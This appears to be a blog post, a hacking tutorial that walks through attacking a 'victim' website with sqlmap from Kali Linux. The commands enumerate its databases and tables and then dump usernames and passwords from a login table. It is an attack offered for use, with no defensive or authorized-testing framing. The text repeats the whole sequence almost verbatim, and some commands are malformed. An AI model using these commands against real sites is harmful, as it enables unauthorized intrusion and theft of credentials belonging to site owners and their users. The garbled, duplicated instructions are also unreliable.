THINGS YOU NEED:-
1)KALI LINUX (OR) BACKTRACK
2)SQLMAP
3)A WEB SITE TO HACK
NOTE:- HERE WE SHOULD KNOW THAT THE WEBSITE SHOULD BE venerable TO
SQL MAP
TO KNOW THAT THE WEBSITE IS VENERABLE TO HAVE ADD THIS THING TO THE WEBSITE AT LAST-----> /page.php?id=1
now open an terminal and type:-
sqlmap -u http://www.yourvictimwebsite.com/page.php?id=1 --dbs
then you will find something like this
here www and information_schema are called as data bases
now open a terminal and type:-
sqlmap -u http://www.yourvictimwebsite.com/page.php?id=1 -D www --tables
here we are using www data base
now after typing the above command you will find some thing like this at bottom of the terminal
now to get the user name and passwords
for passwords--> es_cms_gb_login
for user name--> es-cms_users
here i want to go for password so, i am going for es_cms_gb_login
type in :-
sqlmap -u http://www.yourvictimwebsite.com/page.php?id=1 -D www -T es_cms_gb_login -- columns
now you will find something like this
now lets type :- sqlmap -u http://www................com/page.php?id=1 -D www -T es_cms_gb_login -- c password --dump
then u will find the password
1)KALI LINUX (OR) BACKTRACK
2)SQLMAP
3)A WEB SITE TO HACK
NOTE:- HERE WE SHOULD KNOW THAT THE WEBSITE SHOULD BE venerable TO
SQL MAP
TO KNOW THAT THE WEBSITE IS VENERABLE TO HAVE ADD THIS THING TO THE WEBSITE AT LAST-----> /page.php?id=1
now open an terminal and type:-
sqlmap -u http://www.yourvictimwebsite.com/page.php?id=1 --dbs
then you will find something like this
here www and information_schema are called as data bases
now open a terminal and type:-
sqlmap -u http://www.yourvictimwebsite.com/page.php?id=1 -D www --tables
here we are using www data base
now after typing the above command you will find some thing like this at bottom of the terminal
for passwords--> es_cms_gb_login
for user name--> es-cms_users
here i want to go for password so, i am going for es_cms_gb_login
type in :-
sqlmap -u http://www.yourvictimwebsite.com/page.php?id=1 -D www -T es_cms_gb_login -- columns
now you will find something like this
then u will find the password
THAT'S IT
THANK YOU
Comments
Post a Comment